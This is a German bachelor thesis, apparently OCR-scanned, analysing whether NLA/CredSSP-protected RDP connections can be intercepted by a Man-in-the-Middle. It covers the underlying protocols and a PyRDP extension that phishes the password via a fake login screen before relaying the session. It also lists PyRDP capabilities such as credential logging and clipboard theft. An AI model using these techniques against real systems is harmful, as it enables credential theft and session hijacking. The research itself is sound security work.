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Abstract

Man-in-the-Middle ist eine Cyberangriffstechnik, bei der sich der Angreifer in den
Datenverkehr zwischen zwei Kommunikationsteilnehmern einschleust und beiden vortauscht,
dass sie direkt mit dem jeweils anderen kommunizieren. Das Ziel dieses Angriffes ist es, die
Kommunikation zwischen den Kommunikationsteilnehmern abzufangen, mitzulesen oder
unbemerkt zu manipulieren.

In dieser Arbeit soll nun die Machbarkeit eines solchen Angriffes auf das Remote Desktop
Protocol (RDP), ein Kommunikationsprotokoll von Microsoft, das den Fernzugriff auf Windows-
Rechner ermdglicht, untersucht werden. Dabei soll aber die erweiterte Sicherheitsstufe
«Enhanced Security NLA» von RDP verwendet werden.

Sollte die Machbarkeitsanalyse zeigen, dass ein Man-in-the-Middle-Angriff auf eine mittels
NLA (CredSSP) authentifizierte RDP-Verbindung mdglich sein sollte, soll ein Proof of Concept
fur das von der Firma GoSecure, einem auf Cybersecurity spezialisierten IT-Unternehmen,
entwickelte Tool «PyRDP» implementiert werden.

Um die Durchflhrbarkeit dieses Angriffes beurteilen zu kdnnen, musste zunachst das RDP-
Protokoll selbst ndher untersucht werden. Denn es ist wichtig zu wissen, welche
Sicherheitsaspekte RDP unterstiitzt bzw. verwendet und welche Schritte zum Aufbau einer
Verbindung notwendig sind.

Anschliessend wurden relevante Protokolle wie CredSSP, SPNEGO oder NTLM, die bei der
vorherigen Untersuchung gefunden wurden, ebenfalls ndher analysiert.

Die Machbarkeitsanalyse wurde auf Basis der Theorie und durch die Durchfiihrung von
Paketanalysen mit Tools wie Wireshark vorgenommen. Basierend auf diesen Analysen konnte
schliesslich die Machbarkeit eines Man-in-the-Middle Angriffes evaluiert werden.

Anhand der durchgeflihrten Machbarkeitsanalyse konnte festgestellt werden, dass ein direkter
Man-in-the-Middle Angriff auf eine durch NLA authentifizierte RDP-Verbindung nicht méglich
ist. Denn durch die theoretische Analyse konnte herausgefunden werden, dass das Passwort
des RDP-Clients in die Berechnung eines Verschlisselungsschlissel einfliesst, der im
Authentifizierungsverfahren verwendet wird.

Ein Man-in-the-Middle-Angriff ware jedoch mdglich, wenn der Angreifer bereits im Besitz des
Client-Passwortes ist, bevor der Client und der Server das von NLA verwendete
Authentifizierungsverfahren durchlaufen.

Um diese Variante zu realisieren, wurde ein alternativer Man-in-the-Middle-Ansatz gewahlt. In
einem ersten Schritt wird das Kennwort des Clients Uber einen vorgetauschten
Anmeldebildschirm eingelesen. Mit Kenntnis des Kennwortes kann der Angreifer nun in einem
zweiten Schritt eine glltige RDP-Verbindung zum Server aufbauen. Diese wird dann vom
Angreifer an den Client weitergeleitet, so dass der Client den Eindruck hat, er sei direkt mit
dem Server verbunden.
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1 Allgemeines

1.1 Anderungsgeschichte

Datum Version Anderung Autor
23.04.2021 1.0 Initialer Entwurf Kevin Moro
Danusan Premananthan
Aynkaran Sundralingam
18.06.2021 5.0 Uberarbeitet Kevin Moro
Danusan Premananthan
Aynkaran Sundralingam

1.2 Konventionen

» Hinweise / Fazit

Commands, Code Snippets, Scripts und Error messages / Exceptions

Querverweise innerhalb des Dokuments sind kursiv dargestellt

Links auf externe Ressourcen sind blau unterstrichen dargestellt
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2 Management Summary

RDP Man-in-the-Middle

Diplomanden Kevin Moro, Danusan Premananthan. Aynkaran Sundralingam
Examinator Cyrill Brunschwiler

Themengebiet Sicherheit, Software

2.1 Ausgangslage

Im Oktober 2020 wurde behauptet, dass das Tool «PyRDP» RDP Verbindungen die mit
NLA/CredSSP geschutzt sind, intercepten kann. Jedoch wird dafiir Schliisselmaterial vom Server
bendtigt, was eine starke und etwas kuriose Einschrankung ist.

Die Aufgabe dieser Bachelorarbeit ist es nun, eine mit CredSSP geschiitzte RDP Verbindung
auf die Moglichkeit eines Man-in-the-Middle Angriffes, bei der vorher nicht irgendwelches
Schusselmaterial vom Server gestohlen wird, zu untersuchen. Das Tool PyRDP wird wahrend
der Arbeit ebenfalls analysiert und je nach Ergebnis der Analyse noch erweitert.

2.2 Vorgehen und Technologien

Um festzustellen, ob ein Man-in-the-Middle Angriff auf eine mit CredSSP gesicherte RDP
Verbindung moglich ist, werden als erstes alle involvierten Protokolle fir den
Verbindungsaufbau und die Authentifizierung genau analysiert. Daflr werden die
Dokumentationen der Protokolle und auch Wireshark benutzt. Nach dieser Analyse wird je
nach Ergebnis der Analyse ein Proof-of-Concept in «PyRDP» implementiert.

Damit ein allfalliger Proof-of-Concept implementiert werden kann, wird auch der Code von
«PyRDP» analysiert und dokumentiert.

2.3 Ergebnisse

Die Ergebnisse dieser Arbeit sind die Analyse der involvierten Protokolle und
Authentifizierungsmechanismen, sowie die Analyse und Entscheidung Uber die Machbarkeit
dieser Man-in-the-Middle Variante.

Ebenfalls wurde eine leicht abgednderte Variante des Man-in-the-Middle Angriffes
ausgearbeitet und in PyRDP implementiert.
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1  Einfihrung

Pyrdp ist ein Python 3 Remote Desktop Protocol (RDP) Man-in-the-Middle (MitM) Tool und Bibliothek.

Es enthalt einige Werkzeuge:
= RDP Man-in-the-Middle
= Protokollierung der Anmeldeinformationen
= Konsolenbefehle oder PowerShell-Payloads automatisch ausfihren
= Ubernahme der Steuerung
= Aufzeichnung von Verbindungen

Im Oktober wurde nun behauptet, dass Pyrdp auch RDP-Verbindungen, die mit NLA/CredSSP geschitzt sind,
intercepten kann. Bei genauerer Analyse stellten wir aber fest, dass dies mit Pyrdp nur moglich ist, wenn der
Angreifer bereits Schllisselmaterial vom Serversystem gestohlen hat. Ein etwas kurioses Szenario.

2 Aufgabe

Ein MitM Angriff kdnnte aber trotzdem méglich sein. Wir wollen es deshalb genau wissen und das Protokoll etwas
genauer analysieren und falls méglich ein PoC implementieren.

3 Vorgehen

Im Rahmen der allgemeinen Richtlinien zur Durchfiihrung von Studien- und Bachelorarbeiten gemass eigenem
Projektmanagementplan. Dieser Projektmanagementplan ist als Erstes zu erstellen und enthélt insbesondere:

= Die Beschreibung des dem Projektcharakter angepassten Vorgehensmodells.

= Eine erste Aufteilung der Aufgabe in gemeinsam und einzeln zu bearbeitende Teile unter Berlicksichtigung
der vorgegebenen Teilaspekte. Die genaue Aufteilung muss spatestens nach der Technologiestudie
(Elaboration) erfolgen.

= Den Projektplan (Zeitplan) und die Meilensteine.

4  Anforderungen
= Analyse der verschiedenen RDP Varianten (Historie)
= Aufzeigen von bereits "gebrochenen" Protokollvarianten
= Studium der Microsoft Security Support Provider Interface (SSPI)
= Studium der SPNEGO, NLA und CredSSP Verfahren
=  Analyse von RDP mit NLA/CredSSP
= Analyse der Pyrdp implementation
= Aufzeigen der Machbarkeit oder eben Sicherheit
= |Implementation eines MitM PoC basierend auf Pyrdp

=  Software Engineering, Requirementsanalyse fiir Pyrdp (Python)

5 Infrastruktur

Die Arbeiten werden auf den Rechnern der Studenten durchgefiihrt. Zuséatzlich benétigte Software oder Hardware
wird bei Bedarf und nach Riicksprache mit Compass Security zur Verfligung gestellt.
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6 Erwartete Resultate

6.1 In elektronischer Form:
= Technologiestudien, Know-how Aufbau, Setup Guide
= Software (falls relevant)
o  kompletter Source Code
o komplette Dokumentation (Use Cases, Klassenmodell, Sequenzdiagramme usw. in UML)
= alle Dokumente

= alle Protokolle

Gemass der Anleitung der HSR: https://skripte.hsr.ch/Informatik/Fachbereich/Bachelorarbeit_Informatik/

Es muss aus den abgegebenen Dokumenten klar hervorgehen, wer fiir welchen Teil der Arbeit und der
Dokumentation verantwortlich war (detaillierte Zeiterfassung).

7 Termine

7.1 Start/Ende

Termine gemass Teams

N

25.01. bis Einrichten der Arbeitsplatze in den Labors und Vorbesprechung mit Betreuer/Betreuerin
18.02.21
22.02.2021 Beginn der Bachelorarbeit, Ausgabe der Aufgabenstellung durch den Betreuer/die Betreuerin.

9.6. Die Studierenden geben den Abstract fur die Bachelorarbeits-broschire zur Kontrolle an
ihren Betreuer/ihre Betreuerin frei. Die Studierenden erhalten vorgéngig vom
Studiengangsekretariat die Aufforderung mit den Zugangsdaten zur Online-Erfassung des
Abstracts.Die Studierenden senden per Email das AO-Poster zur Prifung an ihren
Betreuer/ihre Betreuerin.Vorlagen sowie eine ausfiihrliche Anleitung betreffend
Dokumentation stehen auf Teams zur Verfiigung.

15.06.2021 Der Betreuer/die Betreuerin gibt das Dokument mit dem korrekten und vollstandigen Abstract
der Broschure zur Weiterverarbeitung an das Studiengangsekretariat frei.Fir die Ausstellung
der Bachelorarbeiten das AO Posters per Email bis 10.00 Uhr an das Studiengangsekretariat
senden.

18.06.2021 Hochladen aller verlangten Dokumente auf archiv-i.hsr.chAbgabe des Berichts an den
Betreuer/die Betreuerin bis 12.00 Uhr

18.06.2021 Prasentation und Ausstellung der Bachelorarbeiten, 16 bis 20 Uhr
16.08.2021 - Mindliche BA-Priifung

10.09.2021

01.10.2021 Bachelorfeier

7.2 Zeitplan und Meilensteine

Zeitplan und Meilensteine fiir das Projekt sind von den Studenten selber zu erarbeiten und zusammen mit dem
Projektmanagementplan abzuliefern. Die Meilensteine sind bindend. Der erste Meilenstein ist vorgegeben. Mit
den Betreuern werden regelmassige Sitzungen zur Fortschrittskontrolle durchgefiihrt.

8 Betreuung

Die Arbeiten werden durch Cyrill Brunschwiler betreut.
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8.1 Kontakt

Cyrill Bunschwiler, Managing Director, Compass Secwuity Schweiz AG
Wesistrasse 50, 8003 Zaich, Switzerland
Werkstrasse 20, 8645 Jona, Switzerand

+41 44 455 6412

cynll. bnmschwilenf@compass-security .com

cynll. bnmschwileri@hsr.ch
hittps:ffib.compass-security. c omfinboxhlU GXM2EeZ2V b

9 Referenzen

= GoSecure announcing MitM of NLA, CredSSP protected RDP conneclions
hitt ps-/funarw . gosacure.netfbl C20M102 0 announcing-| al

= GoSecure pyrdp MitM tool hitps fgithub. comfGoSecure/pyrdp/pull226files
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4 Theorie

In diesem Kapitel werden die Begriffe, die flr diese Arbeit relevant sind oder im Rahmen der
Arbeit auftauchen, kurz erldutert. Dies soll helfen, die vorzunehmende Analyse zu verstehen.
Die genauere Analyse dieser wird im nachsten Kapitel beschrieben.

4.1 Remote Desktop Protocol

Das Remote Desktop Protocol ist ein Kommunikationsprotokoll von Microsoft, das einen
Fernzugriff auf Windows-Rechner ermoglicht. Die Grundfunktionalitdt von RDP besteht darin,
grafische Bildschirminhalte von einem entfernten Server zum Client zu Ubertragen (Abbildung
1) und die grundlegenden Peripheriefunktionen eines Clients, wie Tastatur, Maus,
Druckerkopplung usw., bereitzustellen. Um eine Verbindung auf einen Remote-Server
herzustellen, verwendet der Client eine RDP-Client-Software, wahrend auf dem Remote-Server
eine RDP-Server-Software installiert sein muss. Die RDP-Client-Software gibt es fir Windows,
Linux, macOS und flr viele weitere Betriebssysteme. Die RDP-Server-Software ist
standardmassig in Windows-Betriebssystemen integriert. Die RDP-Server-Software gibt es
auch fur Unix- und OS X-Systeme. Die Kommunikation in RDP basiert auf mehreren Kandlen
und wird standardmassig mit der RC4-Cipher von RSA verschlisselt. (Reiner, Shaked, 2020)

O

RDP

0 :0 :0 03

Abbildung 1: RDP Grundfunktionalitidt (Quelle: (Reiner, Shaked, 2020))
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4.2 Man-in-the-Middle

Der Man-in-the-Middle-Angriff, kurz «MitM», ist eine Cyberangriffstechnik, bei der sich ein
Angreifer in den Datenverkehr zwischen zwei Kommunikationsteilnehmern einschleust und
beiden Teilnehmern vortauscht (Abbildung 2), dass sie direkt mit dem jeweils anderen
kommunizieren. Dazu schaltet der Angreifer ein von ihm kontrolliertes System physisch oder
logisch zwischen die beiden Kommunikationsteilnehmer. Das Ziel dieses Angriffes ist es, die

Kommunikation zwischen den Kommunikationsteilnehmern abzufangen, mitzulesen oder
unbemerkt zu manipulieren.

7 |

neue MitM-Verbindung

X

urspringliche, direkte Verbindung

-

Abbildung 2: Man-in-the-Middle Angriff (Quelle: (Suau, 2019) iiberarbeitet)

Um einen MitM-Angriff durchzuflihren und so den Datenverkehr zwischen zwei oder mehreren
Systemen zu beeinflussen, verwenden Angreifer verschiedene Techniken, die bei bekannten
Sicherheitsliicken in der Internet-Kommunikation ansetzen. (IONQOS, 2019)

15



4.3 PyRDP

Der Inhalt und die Ausfiihrungen des folgenden Abschnittes beruhen auf folgenden Quellen:
(pyrdp, 2021)

PyRDP ist ein Man-in-the-Middle Tool und eine Library fiir das RDP Protokoll, welches von dem
Unternehmen GoSecure, welches sich auf Cybersecurity spezialisiert hat, entwickelt wurde.
PyRDP ist in Python geschrieben. Dieses Tool wurde im Jahr 2018 fiir Malware- und Pentest-
Forschungszwecke entwickelt.

4.3.1 Features

PyRDP verfligt tUber folgende Tools:
e RDP Man-in-the-Middle:
Protokollierung der Credentials beim Verbindungsaufbau
Stehlen der kopierten Daten aus der Zwischenablage
Von Ubertragenen Dateien tber das Netzwerk wird eine Kopie gespeichert
Freigegebene Laufwerke werden im Hintergrund durchsucht und lokal
gespeichert
o Speichert Wiederholungen von RDP-Verbindungen und kann spater
angesehen werden
o PowerShell-Payloads oder Konsolenbefehle werden bei neuen Verbindungen
automatisch ausgefiihrt
e RDP-Player:
Live RDP-Verbindungen, welche vom MitM kommen, sehen
Wiederholungen von RDP-Verbindungen anzeigen
Kontrolle Giber aktive RDP-Sitzungen tGbernehmen und dabei ihre Aktionen
verbergen
o Auflisten der zugeordneten Laufwerke des Clients und Herunterladen von
Daten wahrend aktiver Sitzungen
e RDP-Zertifikat-Cloner:
o Erstellen eines selbstsignierten X509-Zertifikates mit denselben Feldern wie
das Zertifikat eines RDP-Servers

O O O O
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4.4 Network Level Authentication

Network Level Authentication, kurz NLA, ist eine optionale Windows-Funktion, die vom RDP
Protokoll verwendet wird. Diese Funktion kann auf dem RDP Server aktiviert werden. Die
Aktivierung dieser Funktion erfordert, dass der RDP-Client sich vor dem Verbindungsaufbau
mit dem RDP-Server authentifizieren muss. Dabei werden die Anmeldedaten des RDP-Clients
an einen clientseitigen Security Support Provider (4.6 Security Support Provider) weitergeleitet,
bei dem der Client authentifiziert wird. Die Authentifizierung mittels NLA basiert auf der
Netzwerkebene. NLA wurde mit der RDP-Version 6.0 eingefiihrt. (Wikipedia, 2021)

4.5 Security Support Provider Interface

Security Support Provider Interface (SSPI) ist eine Komponente der Windows-API. SSPI ist das
Grundgerist fir die Implementierung von sicherheitsrelevanten Operationen, wie z.B. die
Durchfiihrung von Authentifizierungen. Dabei unterliegen mehrere Security Support Provider
(4.6 Security Support Provider) dieser Schnittstelle. Die SSPI wird durch NLA aufgerufen und
wahlt aufgrund der Bedingungen des Anwendungsprotokolls, in dieser Arbeit z.B. RDP, den zu
verwendenden Security Support Provider. (Wikipedia, 2021; Microsoft, 2018)

4.6 Security Support Provider

Security Support Provider ist eine dynamische Programmbibliothek, die eine oder mehrere
Sicherheitspakete flir Anwendungen zur Verfligung stellt. Unter Windows existieren mehrere
SSPs fir die Durchfiihrung von Sicherheitsoperationen. Das RDP-Protokoll nutzt fir die
Authentifizierung tUber NLA das CredSSP-Paket. Dieses wird daher bei der Durchfiihrung von
RDP-Authentifizierungen automatisch vom SSPI ausgewahlt. (Wikipedia, 2021; Microsoft, 2018)

4.7 TLS

Der Inhalt und die Ausfihrungen des folgenden Abschnitts beruhen auf folgenden Quellen:
(The Transport Layer Security (TLS) Protocol Version 1.2, 2008)

Das TLS Protokoll bietet Kommunikationsprivatsphéare Giber das Internet. Das Protokoll erlaubt
es Client/Server Applikationen zu kommunizieren so dass sie vor Abhoren, Manipulation und
Nachrichtenfalschung geschuitzt sind.

Das primdre Ziel von TLS ist es Privatsphdare und Datenintegritdit zwischen zwei
kommunizierenden Applikationen sicherzustellen. Das Protokoll besteht aus zwei Schichten.
TLS Record Protocol und TLS Handshake Protocol.

Das TLS Record Protocol stellt Verbindungssicherheit sicher und hat zwei grundlegende
Eigenschaften:

e Die Verbindung ist privat. Symmetrische Kryptographie wird fiir Datenverschlisselung
benutzt (z.B. DES, RC4, etc.). Die Schissel fur diese symmetrische Verschlisselung
werden fir jede Verbindung generiert und basieren auf einem Geheimnis (Secret)
welches vom TLS Handshake Protocol ausgehandelt wurde. Das Record Protocol kann
auch ohne Verschllsselung genutzt werden.
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e Die Verbindung ist verlasslich (reliable). Nachrichtentransport beinhaltet ein Message
Integritats-Check mit einem keyed MAC. Sichere Hashfunktionen (z.B. SHA, MD5, etc.)
werden fur die MAC Berechnung verwendet.

Das Record Protocol wird benutzt, um diverse Protokolle auf hoheren Schichten zu kapseln.
Das TLS Handshake Protocol erlaubt es Client und Server sich gegenseitig zu authentifizieren
und Verschlisselungsalgorithmen sowie Kryptographische Schiissel auszuhandeln, bevor das
Applikationsprotokoll Daten tbermittelt oder empfangt.

Das TLS Handshake Protocol stellt Verbindungssicherheit sicher und hat drei grundlegende
Eigenschaften:

e Die Identitat eines Peers kann mit asymmetrischen, oder public key Kryptographie
(z.B. RSA, DSS, etc.) authentifiziert werden. Diese Authentifizierung kann optional
gemacht werden, ist aber normalerweise fiir mindestens einen Peer erforderlich.

e Die Aushandlung eines geteilten Geheimnisses (shared Secret) ist sicher. Das Secret
kann nicht abgehort werden. Fur jede authentifizierte Verbindung kann das
Geheimnis nicht erlangt werden, auch nicht durch Angreifer, die in der Mitte der
Verbindung sitzen.

e Die Verhandlung ist verlasslich. Kein Angreifer kann die Verhandlungskommunikation
manipulieren ohne dass es die Kommunikationspartner bemerken wirden.

4.8 CredSSP

Das CredSSP-Protokoll gibt einer Applikation die Mdglichkeit, sicher die Anmeldedaten eines
Benutzers vom Client an den Zielserver zu senden. Es ist ein zusammengesetztes Protokoll,
welches sich auf andere standardbasierte Sicherheitsprotokolle stltzt. Es verwendet das
Transport Layer Security (TLS)-Protokoll, um einen verschlisselten Kanal zwischen dem
CredSSP-Client und CredSSP-Server aufzubauen und alle weiteren Nachrichten werden Uber
den TLS-Kanal gesendet. Zusatzlich wird der Simple and Protected Generic Security Service
Application Program Interface Negotiation Mechanism (SPNEGO) fur die Authentifizierung von
Client und Server in der verschlisselten TLS-Sitzung verwendet. (Microsoft, 2021)

4.9 GSS-API

Die GSS-APl (Generic Security Service Application Program Interface) ist eine
Programmierschnittstelle fir Anwendungen, die auf Sicherheitsdienste zugreifen. Die API
ermoglicht es den Providern von Sicherheitsdiensten GSSAPI-kompatible Implementierungen
von ihren Sicherheitsdiensten anzubieten. Die GSS-API wird in den meisten Fallen von den
Kommunikationsprotokollen selbst aufgerufen, um die Kommunikation mit Authentifizierungs-
, Integritats- und/oder Vertraulichkeits-Sicherheitsdiensten zu schiitzen. Das entscheidende
Feature von GSSAPI-Anwendungen ist der Austausch von sogenannten Tokens
(undurchsichtigen Nachrichten), die die Implementierungsdetails vor der Ubergeordneten
Anwendung verbergen. Dies ermdglicht es der Client- und der Serverseite der Anwendung,
eine bestimmte Anzahl von Token auszutauschen, um einen Sicherheitskontext zwischen ihnen
herzustellen. (Wikipedia, 2021; Generic Security Service Application Program Interface Version
2, Update 1, 2000)
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410 SPNEGO

SPNEGO (Simple and Protected GSSAPI Negotiation Mechanism) ist ein Mechanismus der GSS-
API. Dieser Mechanismus wird von Client- sowie Server-Anwendungen verwendet, um die Wahl
der Sicherheitsdienste auszuhandeln. Daher kommt SPNEGO zum Einsatz, wenn eine Client-
Anwendung sich bei einem Remote-Server authentifizieren mdchte, aber keiner der beiden
Kommunikationsteilnehmer weiss, welche Authentifizierungsprotokolle das Gegentber
unterstitzt. SPNEGO-Protokoll ermittelt in diesem Fall, welche GSSAPI-Sicherheitsdienste
verfligbar sind. Anschliessend wird einer von diesen ausgewahlt, mit dem dann alle weiteren
Sicherheitsoperationen fortgesetzt werden. (Wikipedia, 2020; MS-SPNG, 2021)

411 NTLM

NTLM (NT LAN-Manager) ist ein Authentifizierungsverfahren, welches von dem
Softwarehersteller Microsoft entwickelt wurde. Anfanglich wurde das Protokoll fast
ausschliesslich in Produkten von Microsoft implementiert. Mittlerweile wird NTLM aber auch
von Systemen verwendet, die nicht von Microsoft stammen. Das NTLM-Protokoll ermd&glicht
die gegenseitige Authentifizierung zwischen verschiedenen Computern und Servern. Das
Protokoll ist so aufgebaut, dass sich ein Client mit seinem Benutzernamen und dem
dazugehdrigen Passwort authentifiziert. Dabei werden die zur Authentifizierung notwendigen
Informationen zwischen dem Gerat des Benutzers und einem Server ausgetauscht. Da der
Server Informationen Uber alle Benutzer hat, kann er den Zugang priifen und diesen dann
freigeben oder ablehnen. (Wikipedia, 2021; IONOS, 2020)

4.12 Kerberos

Kerberos ist ein verteilter Authentifizierungsdienst fir offene Computernetze. Kerberos basiert
auf dem Needham-Schroeder-Protokoll ~ zur  Authentifizierung. Die eigentliche
Authentifizierung Ubernimmt eine vertrauenswirdige dritte Partei. Clients erhalten
verschllsselte Tickets von dieser dritten Partei, mit welchen sie sich dann gegeniiber
verschiedenen Diensten authentifizieren konnen. (Kryptowissen.de, 2016)
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4.13 Fazit

Ziel dieses Kapitels war es, durch die Betrachtung der Theorie die einzelnen relevanten Themen
und deren Zusammenhange zu verstehen. In der folgenden Abbildung (Abbildung 3) werden
die betrachteten Begriffe in einem Gesamtbild mit ihren Zusammenhangen dargestellt.

SSPI
Negotiate SSP
GSS-API
Kerberos SSP
SPNGEO

NTLM SSP
NLA |:> TLS ::>
NTLM/Kerberos

Schannel SSP

Digest SSP
CredSSP 4’\

Abbildung 3: Gesamtbild der Theorie (Eigene Darstellung)

Die wichtigsten Erkenntnisse werden im Folgenden zusammengefasst:

» NLA ist eine Windows Funktion, welche die Client Authentifizierung auf Netzwerkeben
ermdglicht.

» SSPI wird von NLA aufgerufen, um den SSP auszuwahlen, welcher die Authentifizierung
durchfihrt. (RDP nutzt den SSP «CredSSP»)

» CredSSP ist ein zusammengesetztes Protokoll, welches aus TLS und NTLM/Kerberos
besteht.

» TLS ist ein Kommunikationsprotokoll, welches von CredSSP verwendet wird. Es erzeugt
einen verschlisselten Kanal.

» GSS-API ist eine Programmierschnittstelle fiir Anwendungen, die auf Sicherheitsdienste
zugreifen.

» SPNEGO ist ein GSS-API-Mechanismus, um die Wahl der Sicherheitsdienste auszuhandeln.

> NTLM & Kerberos sind Zwei Sicherheitsdienste, die verschiedene
Authentifizierungsverfahren anbieten.
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5 Analyse: Machbarkeit von Man-in-the-Middle

In diesem Kapitel wird die Hauptaufgabe unserer Arbeit angegangen. Hier wird eine mit
NLA/CredSSP geschiitzte RDP-Verbindung auf die Durchfiihrbarkeit eines Man-in-the-Middle-
Angriffes analysiert. Zunachst wird das RDP-Protokoll selbst untersucht. Anschliessend werden
die in einer NLA/CredSSP-geschiitzten RDP-Verbindung zum Einsatz kommenden Protokolle
nacheinander untersucht. Anhand dieser theoretischen Analysen soll die Durchfiihrbarkeit des
Angriffes beurteilt werden kdnnen. Das Ergebnis dieser Analyse ist die Voraussetzung, um den
Man-in-the-Middle-Proof of Concept zu implementieren.

5.1 RDP

Als erstes wird das RDP-Protokoll selbst genauer untersucht. Obwohl es sich bei diesem MitM-
Versuch um eine NLA/CredSSP-geschiitzte Verbindung handelt, wird der Angriff auf RDP selbst
ausgefuhrt. Daher ist es wichtig, sich das entsprechende Wissen tiber RDP anzueignen, welches
fur diese Machbarkeitsanalyse relevant sein konnten.

Der Inhalt und die Ausfihrungen des folgenden Abschnitts beruhen sich auf folgenden
Quellen: (Reiner, Shaked, 2020; Microsoft, 2021)

5.1.1 Verbindungsaufbau

In diesem Abschnitt wird der RDP-Verbindungsaufbau bzw. die RDP-Verbindungssequenz
genauer betrachtet. Ziel der RDP-Verbindungssequenz ist es, Client- und Servereinstellungen
auszutauschen und gemeinsame Einstellungen festzulegen, die fir die Dauer der RDP-
Verbindung verwendet werden sollen. Anhand dieser Einstellungen kénnen Eingaben, Grafiken
und andere Daten zwischen Client und Server ausgetauscht und verarbeitet werden.

Die folgende Abbildung (Abbildung 4) zeigt den kompletten Ablauf einer RDP-

Verbindungsaufbau. Die einzelnen, nicht optionalen Schritte werden im Folgenden kurz
betrachtet und daraufhin bewertet, ob sie fir die Machbarkeitsanalyse relevant sind.
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| i Basic Settings Exchange
;H-m--rMCS Connect Response PDU with GCC Conference Create Response——i

i Connection Initiation

MCS Erect Damain Request PDU )
. MCS Attach User Request PDLU -...,
aq MCS Attach User Confirm PO L Channel Connection
MCS Channel Join Reguest PDUIE) l--
- MCS Channel Join Confirm PDUs) i |
| Security Exchange PDU hh:} ROP Security Commencement
. Client Info PDL h-} Secure Settings Exchange
-l Auto-Detect Request PDU{s) Optional Connect-Time
Auta-Detect Response PDLUs) II-- Auto-Detection
HI License Error POU - Valid Client } Licensing
-I Initiate Multitransport Request PDLU } Optional Multitranspert
Initiate Multitransport Response PDU p: | Bootstrapping
'ﬂ Demand Active POLU
"'" Monitor Layout PLL ‘l Capabilities Fxchange
i Confirm Active PDU >
Synchranize PDU I--""
Contral PDU - Cooperate II--
: Control PDU - Request Contral p-
Parsistent Key List PDLU(s) h
Fant List PDU I- » Connection Finalization
-q Synchronize POU
*I Control PDU - Cooperate
-d Cantrol PDU - Granted Contral
-ll Font Map PDU _

Abbildung 4: RDP Connection Sequence (Quelle: (Microsoft, 2021))

Connection Initiation

Client Server

: ¥.224 Connection Request PDU- -
ﬂ *.224 Connection Confirm PDU i

Abbildung 5: RDP Connection Initiation (Quelle: (Microsoft, 2021))

Dieses Paket enthalt einen RDP Negotiation Request, der einige Verbindungsflags und die vom
Client unterstltzten Sicherheitsprotokolle enthalt. Die Verbindung wird vom Server mit einer
RDP Negotiation Response bestatigt, und wird auch verwendet, um den Client Uber das
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ausgewahlte Sicherheitsprotokoll zu informieren, das wahrend der gesamten
Verbindungsdauer verwendet wird (Abbildung 5).

Fir unsere MitM-Analyse bedeutet das, dass der Server in dieser ersten Phase des
Verbindungsaufbaus dem Client mitteilt, dass er eine Authentifizierung tGber NLA erzwingt und
dass dafir das Sicherheitsprotokoll CredSSP verwendet werden soll.

Basic Settings Exchange
: MCS Connect Initial PDU with GCC Conference Create Requcst—hﬂf

;-q—MCS Conmect Response PDU with GCC Conference Create Respﬁnse—é

Abbildung 6: RDP Basic Settings Exchange (Quelle: (Microsoft, 2021))

In diesen Paketen werden die Grundeinstellungen zwischen dem Client und dem Server
ausgetauscht (Abbildung 6). Diese Einstellungen umfassen drei Arten:
1. Core Daten: RDP-Version, Desktop-Auflésung, Farbtiefe, Tastaturinformationen,
Hostname usw.
2. Security Daten: Verschlisselungsmethoden, Lange der Sitzungsschlissel, Server
Zertifikat, Server Random
3. Network Daten: Die vom Client angefragten virtuellen Kanale. Der Client wird darauf
vom Server mit einer Liste von virtuellen Kanalen, die in der RDP-Sitzung verwendet
werden sollen, informiert.

Wenn der MitM den Verschllsselungsschliissel aus der CredSSP-Authentifizierung auslesen
oder selbst neu berechnen kann, sollten die in dieser Phase gesendeten Nachrichten keine
Probleme verursachen. Der MitM sollte diese Nachrichten ohne Probleme weiterleiten kénnen.
Sobald Enhanced Security verwendet wird, wird kein symmetrischer Schlissel zwischen den
beiden Kommunikationsteilnehmern erzeugt. Daher sind auch die unter Security Data
gesendeten Daten nicht relevant.

Channel Connection

MCS Erect Domain Regquest PDU I'-
: MCS Attach User Request PDLU h-v
,.q MCS Attach User Confirm PDU ;
MCS Channel Join Request PDU(s) Il-
‘ﬂ MCS Channel Join Confirm PDU(s) ;

Abbildung 7: RDP Channel Connection (Quelle: (Microsoft, 2021))

In dieser Phase stellt der Client eine Verbindung zu jedem Kanal aus der Liste her, welche er
zuvor vom Server erhalten hat. Sobald mit allen Kanalen eine Verbindung aufgebaut wurde,
werden die folgenden Daten in die jeweiligen virtuellen Kanale umgeleitet (Abbildung 7).

Auch sollte es moglich sein, diese Nachrichten, die fir die Herstellung der einzelnen Kanéle
verantwortlich sind, weiterzuleiten. Was bei der bisherigen Analyse nicht ausgeschlossen
werden kann, ist, ob der MitM aufgrund der Weiterleitung auch einen RDP-Dienst anbieten
muss, damit er die zuklinftigen Nachrichten Gber einen bestimmten Kanal tatsachlich verfolgen
kann. Dies sollte aber kein Problem darstellen, da man den RDP-Dienst auch auf dem MitM-
Rechner aktivieren kdnnte.

23



Security Commencement

Security Exchange PDU I-—

Abbildung 8: RDP Security Exchange PDU (Quelle: (Microsoft, 2021))

Hier schickt der Client dem Server das Client-Random, welches er mit dem o&ffentlichen
Schlissel des Servers verschlisselt (Abbildung 8). Diesen hat er zuvor im Schritt «Basic Settings
Exchange» vom Server erhalten. Der Client und der Server verwenden dann die beiden 32-Byte
Randoms, um einen symmetrischen Session Encryption Key zu erstellen. Von diesem Punkt an
werden alle folgenden RDP-Nachrichten mit dem Verschlisselungsalgorithmus RC4
verschlUsselt.

Dieser Schritt wird bei Verwendung von Enhanced Security automatisch vom RDP-Protokoll
Ubersprungen und ist daher fiir unsere Machbarkeitsanalyse nicht relevant.

Secure Settings Exchange

Client Info PDL ."'
Abbildung 9: RDP Secure Settings Exchange (Quelle: (Microsoft, 2021))

In dieser Phase sendet der Client dem Server vertrauliche Client-Daten (z. B. Benutzername,
Kennwort und Auto-Reconnect-Cookie) (Abbildung 9).

Wie beim Schritt «Basic Setting Exchange» sollte auch diese Nachricht vom MitM problemlos
weitergeleitet werden kdnnen. Durch die Kenntnis des Verschlisselungsschlissels sollte der
MitM auch in der Lage sein, diese Nachricht zu entschlisseln und die notwendigen Daten
auszulesen. Diese muss er dann wieder verschliisseln und an den Server weiterleiten.

Licensing

-ﬂ License Error POU - Valid Client
Abbildung 10: RDP Licensing (Quelle: (Microsoft, 2021))

Hier Ubertragt der Server eine Lizenz zum Client (Abbildung 10). Der Client speichert diese
Lizenz und sendet bei nachfolgenden Verbindungen die Lizenz zur Validierung an den Server.
In den meisten Fallen ist aber kein Lizenzierungsserver flir den RDP-Server konfiguriert. In
diesem Fall genehmigt der RDP-Server einfach die Lizenz des Clients.

